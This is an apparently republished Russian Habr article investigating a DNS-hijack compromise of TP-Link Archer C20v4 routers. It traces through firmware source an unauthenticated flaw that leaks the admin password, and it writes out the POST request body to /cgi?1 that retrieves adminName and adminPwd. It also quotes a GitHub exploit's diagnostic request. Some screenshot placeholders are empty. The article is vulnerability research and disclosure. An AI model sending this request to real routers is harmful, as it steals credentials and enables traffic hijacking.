Главная » Хабрахабр » [Из песочницы] По следам взлома tp-link

[Из песочницы] По следам взлома tp-link

Взлом с подменой dns достаточно распространенный способ атаки. В первую очередь из-за его простоты. Суть атаки в изменении адреса dns в настройках сетевого оборудования жертвы на адрес dns-сервера злоумышленника с целью возврата ложных ip. А уже далее, кто во что горазд — от банальных фишинговых страничек соцсетей для кражи паролей до якобы провайдерской заглушки с требованиями оплаты.

И сегодня я про один из таких способов расскажу.
Что имеем: Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры.

  1. Новенький роутер Archer c20v4, только из коробки, с последней официальной прошивкой.
  2. Внешний ip адрес на wan интерфейсе и открытый web доступ.
  3. Достаточно сложный пароль, чтобы не беспокоиться о его подборе и ограниченный круг лиц знающий его.
  4. Спустя сутки: подмена dns и все запросы заворачиваются на заглушку.

Что нужно:
Выяснить, каким способом был получен доступ к устройству.

Конечно же ничего не сработало. Первым делом на тестовом пациенте были опробованы все известные старые баги, которые нашлись в гугле.

Немного не то, что нам нужно, но задало верное направление. Был найден скрипт на гитхабе (тык) который позволяет удаленно, от рута, выполнять команды на моделях C20i и C2.

2( и 7), "[название_настройки#0,0,0,0,0,0#0,0,0,0,0,0]" и особый referer. Во всех функциях были одинаковые «оболочки» для запросов — это POST запросы на url /cgi?

Т.к. Скачиваем с официального сайта tp-link исходные коды нашей прошивки и распаковываем. линейка роутеров одна, то и ПО должно быть хоть чуточку похожим, верно?

grep

grep -Hrn "/cgi?2"
----------------------------------------------
../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);

Бинго. Название файла как бы намекает, что дальше будет очень интересно. Находим в коде строчку, в которой видели заветное «cgi?2». Ниже приведена целиком функция:

doSetUsrName

function doSetUsrName() else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); }

Эта функция при выполнении вызывает другую — getUsrName().

Функция получения логина:

getUsrName

function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); }

Но просто с логином ничего не сделать. Нас интересует пароль. Мы знаем, что логин хранится в переменной adminName, внутри объекта USER_CFG. Поиск по исходникам дал следующие результаты: (оставлю только нужный результат)

Вывод grep'а

grep -Hrn USER_CFG
------------------------
sysfiles/config/en/common/reduced_data_model.xml

Открываем reduced_data_model.xml и находим в нем следующий фрагмент кода:

XML

<X_TP_UserCfg t=o r=P s=USER_CFG_OBJ h=1 > <RootName t=s r=R l=16 al=cli h=1 /> <RootPwd t=s r=R l=16 al=cli h=1 /> <AdminName t=s r=W l=16 al=cli d=admin h=1 /> <AdminPwd t=s r=W l=16 al=cli d=admin h=1 /> <UserName t=s r=W l=16 al=cli h=1 /> <UserPwd t=s r=W l=16 al=cli h=1 /> </X_TP_UserCfg>

Тут у нас хранится уже известная нам переменная «AdminName» и рядышком — AdminPwd. Похоже на правду.

Обратимся снова к скрипту с гитхаба и посмотрим, как сделано там: Теперь нам осталось сформировать корректный POST-запрос, на который роутер нам ответить нужными данными.

data

data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )

По аналогии формируем свой запрос:

data

"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"

Ииииии отправляем. В Wireshark'e пакет выглядит вот так:

запрос

Смотрим ответ:

ответ

Внимательный читатель заметит, что POST-запрос был отправлен к "/cgi?1", а не как в скрипте к "/cgi?2". Всё верно. Нам нужно всего лишь узнать пароль. Получив данные для авторизации можно заниматься уже форменным безобразием.

Авторизуемся:

GET запрос

И уже авторизованным сдираем любые данные, какие мы только посчитаем важными, посмотрев в файлике reduced_data_model.xml:

запрос

ответ

запрос

ответ

На данный момент исходные коды роутера C20v4 убраны с сайта Tp-Link и выложены вместо них коды V5. Но официальной прошивки пока, к сожалению, нет.

Хорошая новость: Данная уязвимость эксплуатируется только, если веб доступ открыт для всех.
Плохая новость: чьи-то боты уже стучаться по внешним адресам с правильными запросами.

Помимо модели ArcherC20V4 данной уязвимости так же подвержена модель ArcherC2V5.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Разработка buck-преобразователя на STM32F334: принцип работы, расчеты, макетирование

В двух своих последних статьях я рассказал о силовом модуле и плате управления на базе микроконтроллера STM32F334R8T6, которые созданы специально для реализации систем управления силовыми преобразователями и электроприводом. Так же был рассмотрен пример DC/AC преобразователя, который являлся демонстрацией, а не ...

Simulation theory: взаимосвязь квантово-химических расчётов и Реальности

Введение О чём этот текст Если человек услышит о «симуляции реальности», то в наиболее вероятно ему в голову придут или разные научно-фантастические произведения (типа Матрицы, Темного города, или Теоремы Зеро), или компьютерные игры. В случае людей, чьи головы засорены инженерным ...